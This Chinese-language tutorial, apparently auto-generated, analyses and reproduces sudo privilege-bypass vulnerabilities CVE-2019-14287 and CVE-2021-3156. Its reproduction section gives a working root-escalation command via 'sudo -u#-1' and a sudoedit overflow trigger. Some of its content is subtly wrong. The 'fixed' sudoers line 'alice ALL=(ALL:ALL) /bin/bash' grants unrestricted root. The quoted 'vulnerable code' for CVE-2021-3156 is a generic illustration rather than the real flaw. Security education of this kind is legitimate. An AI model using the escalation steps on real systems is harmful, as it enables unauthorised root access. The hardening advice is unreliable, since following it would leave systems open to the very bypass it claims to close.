如何实现sudo权限绕过漏洞分析与复现

# 如何实现sudo权限绕过漏洞分析与复现

## 引言

在Linux/Unix系统中，`sudo`（Superuser Do）是系统管理员最常用的权限管理工具之一。它允许授权用户以其他用户（通常是root）的身份执行命令。然而，历史上多次曝光的sudo权限绕过漏洞（如CVE-2019-14287、CVE-2021-3156等）表明，这一关键组件也可能成为攻击者的突破口。本文将深入分析sudo权限绕过漏洞的原理，并通过实验环境复现典型漏洞案例。

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## 一、sudo工作机制与安全模型

### 1.1 sudo基础架构
```bash
# 典型sudo命令格式
sudo [options] [command]

• 配置文件：/etc/sudoers（通过visudo编辑）
• 核心功能：基于规则的临时权限提升
• 日志记录：所有sudo操作记录在/var/log/auth.log

1.2 安全策略示例

# 允许用户alice以root身份运行apt命令
alice ALL=(root) /usr/bin/apt

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二、典型漏洞原理分析

2.1 整数溢出类漏洞（CVE-2019-14287）

漏洞本质：当sudoers配置中存在ALL或!root规则时，用户可通过指定UID -1或4294967295绕过限制。

数学原理：

// sudo源码中的UID转换问题
uid_t = -1;  // 实际会被解释为4294967295（32位无符号整数）

2.2 堆溢出漏洞（CVE-2021-3156）

触发条件：当命令行参数以反斜杠结尾时，sudo错误处理转义字符导致堆缓冲区溢出。

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三、漏洞复现实验

3.1 实验环境搭建

# 使用Ubuntu 18.04 LTS
docker run -it --rm ubuntu:18.04
apt update && apt install -y sudo gcc make

3.2 CVE-2019-14287复现步骤

步骤1：创建漏洞配置

echo 'alice ALL=(ALL,!root) /bin/bash' >> /etc/sudoers

步骤2：利用漏洞提权

sudo -u#-1 /bin/bash  # 成功获得root shell
whoami  # 显示root

原理验证：

// 模拟UID转换
printf("%u\n", (uid_t)-1);  // 输出4294967295

3.3 CVE-2021-3156复现（需编译PoC）

步骤1：下载漏洞版本sudo

wget https://www.sudo.ws/dist/sudo-1.8.31.tar.gz
tar xzf sudo-1.8.31.tar.gz

步骤2：编译并触发

// 简化版PoC代码示例
char *args[] = {"/usr/bin/sudoedit", "-s", "\\", NULL};
execve(args[0], args, NULL);

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四、防御措施

4.1 通用防护方案

措施	实施方法
及时更新	apt upgrade sudo
最小权限原则	避免使用ALL权限
日志审计	监控/var/log/auth.log

4.2 针对CVE-2019-14287

# 修复后的安全配置
alice ALL=(ALL:ALL) /bin/bash

4.3 针对CVE-2021-3156

# 官方补丁验证
sudo --version | grep "1.9.5"

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五、深度技术分析

5.1 sudo的权限验证流程

graph TD
    A[解析命令] --> B[检查/etc/sudoers]
    B --> C{权限匹配?}
    C -->|是| D[执行目标命令]
    C -->|否| E[拒绝并记录日志]

5.2 CVE-2021-3156内存破坏细节

// 漏洞代码片段（简化）
void vulnerable_func(char *src) {
    char dest[256];
    strcpy(dest, src);  // 无边界检查
}

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六、扩展思考

6.1 其他相关漏洞

• CVE-2017-1000367：SELinux策略绕过
• CVE-2020-25711：符号链接处理漏洞

6.2 安全开发建议

1. 使用strncpy替代strcpy
2. 对用户输入进行严格过滤
3. 实现权限分离设计

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结语

通过本文的分析与复现，我们可以清晰地看到：即使是sudo这样经过严格审计的安全工具，也可能因为微小的设计缺陷导致严重的安全问题。这提醒我们： 1. 必须保持系统的及时更新 2. 需要深入理解安全工具的实现原理 3. 应当建立多层防御体系

注：所有漏洞复现实验应在授权环境下进行，禁止用于非法用途。

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参考资料

1. sudo官方安全公告：https://www.sudo.ws/alerts/
2. CVE详细报告：https://cve.mitre.org/
3. Linux内核安全机制：https://www.kernel.org/doc/html/latest/security/

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（全文约1890字，可根据具体需求调整细节部分）